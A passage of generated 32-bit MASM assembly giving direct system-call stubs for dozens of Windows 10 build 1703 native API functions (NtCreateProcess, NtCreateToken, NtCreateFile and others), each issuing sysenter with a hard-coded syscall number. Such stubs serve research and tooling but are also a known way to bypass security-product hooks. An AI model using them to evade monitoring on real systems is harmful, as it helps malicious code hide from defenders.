mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDebugContinue ENDP
; ULONG __stdcall NtDebugActiveProcess( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtDebugActiveProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 336
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtDebugActiveProcess ENDP
; ULONG __stdcall NtCreatePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 337
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePartition ENDP
; ULONG __stdcall NtCreateWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 338
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWorkerFactory ENDP
; ULONG __stdcall NtCreateWnfStateName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWnfStateName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 339
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWnfStateName ENDP
; ULONG __stdcall NtCreateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 340
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWaitCompletionPacket ENDP
; ULONG __stdcall NtCreateWaitablePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWaitablePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 341
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateWaitablePort ENDP
; ULONG __stdcall NtCreateUserProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateUserProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 342
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateUserProcess ENDP
; ULONG __stdcall NtCreateTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 343
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTransactionManager ENDP
; ULONG __stdcall NtCreateTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 344
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTransaction ENDP
; ULONG __stdcall NtCreateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD
mov eax , 345
call _label_sysenter
ret 52
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateToken ENDP
; ULONG __stdcall NtCreateLowBoxToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateLowBoxToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 346
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateLowBoxToken ENDP
; ULONG __stdcall NtCreateTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 347
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTokenEx ENDP
; ULONG __stdcall NtCreateTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 348
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTimer ENDP
; ULONG __stdcall NtCreateThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 349
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateThreadEx ENDP
; ULONG __stdcall NtCreateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 350
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateThread ENDP
; ULONG __stdcall NtCreateSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 351
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSymbolicLinkObject ENDP
; ULONG __stdcall NtCreateSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 352
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSemaphore ENDP
; ULONG __stdcall NtCreateSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 353
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateSection ENDP
; ULONG __stdcall NtCreateResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 354
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateResourceManager ENDP
; ULONG __stdcall NtCreateProfileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProfileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 355
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProfileEx ENDP
; ULONG __stdcall NtCreateProfile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 356
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProfile ENDP
; ULONG __stdcall NtCreateProcessEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProcessEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 357
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProcessEx ENDP
; ULONG __stdcall NtCreateProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 358
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateProcess ENDP
; ULONG __stdcall NtCreatePrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 359
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePrivateNamespace ENDP
; ULONG __stdcall NtCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 360
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePort ENDP
; ULONG __stdcall NtCreatePagingFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePagingFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 361
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreatePagingFile ENDP
; ULONG __stdcall NtCreateNamedPipeFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateNamedPipeFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 362
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateNamedPipeFile ENDP
; ULONG __stdcall NtCreateMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 363
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateMutant ENDP
; ULONG __stdcall NtCreateMailslotFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateMailslotFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 364
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateMailslotFile ENDP
; ULONG __stdcall NtCreateKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 365
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKeyTransacted ENDP
; ULONG __stdcall NtCreateKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 366
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKeyedEvent ENDP
; ULONG __stdcall NtCreateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 367
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateKey ENDP
; ULONG __stdcall NtCreateJobSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateJobSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 368
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateJobSet ENDP
; ULONG __stdcall NtCreateJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 369
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateJobObject ENDP
; ULONG __stdcall NtCreateIRTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 370
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateIRTimer ENDP
; ULONG __stdcall NtCreateTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 371
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateTimer2 ENDP
; ULONG __stdcall NtCreateIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 372
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateIoCompletion ENDP
; ULONG __stdcall NtCreateFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 373
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateFile ENDP
; ULONG __stdcall NtCreateEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 374
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEventPair ENDP
; ULONG __stdcall NtCreateEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 375
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEvent ENDP
; ULONG __stdcall NtCreateEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 376
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEnlistment ENDP
; ULONG __stdcall NtCreateEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 377
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateEnclave ENDP
; ULONG __stdcall NtCreateDirectoryObjectEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDirectoryObjectEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 378
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDirectoryObjectEx ENDP
; ULONG __stdcall NtCreateDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 379
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDirectoryObject ENDP
; ULONG __stdcall NtCreateDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 380
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCreateDebugObject ENDP
; ULONG __stdcall NtConvertBetweenAuxiliaryCounterAndPerformanceCounter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtConvertBetweenAuxiliaryCounterAndPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 381
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtConvertBetweenAuxiliaryCounterAndPerformanceCounter ENDP
; ULONG __stdcall NtContinue( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 382
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtContinue ENDP
; ULONG __stdcall NtConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_10_0_15063_sp0_windows_10_rs2_1703_NtConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 383
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtConnectPort ENDP
; ULONG __stdcall NtCompressKey( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompressKey PROC STDCALL arg_01:DWORD
mov eax , 384
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompressKey ENDP
; ULONG __stdcall NtCompleteConnectPort( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompleteConnectPort PROC STDCALL arg_01:DWORD
mov eax , 385
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompleteConnectPort ENDP
; ULONG __stdcall NtCompareTokens( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareTokens PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 386
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareTokens ENDP
; ULONG __stdcall NtCompareSigningLevels( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareSigningLevels PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 387
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCompareSigningLevels ENDP
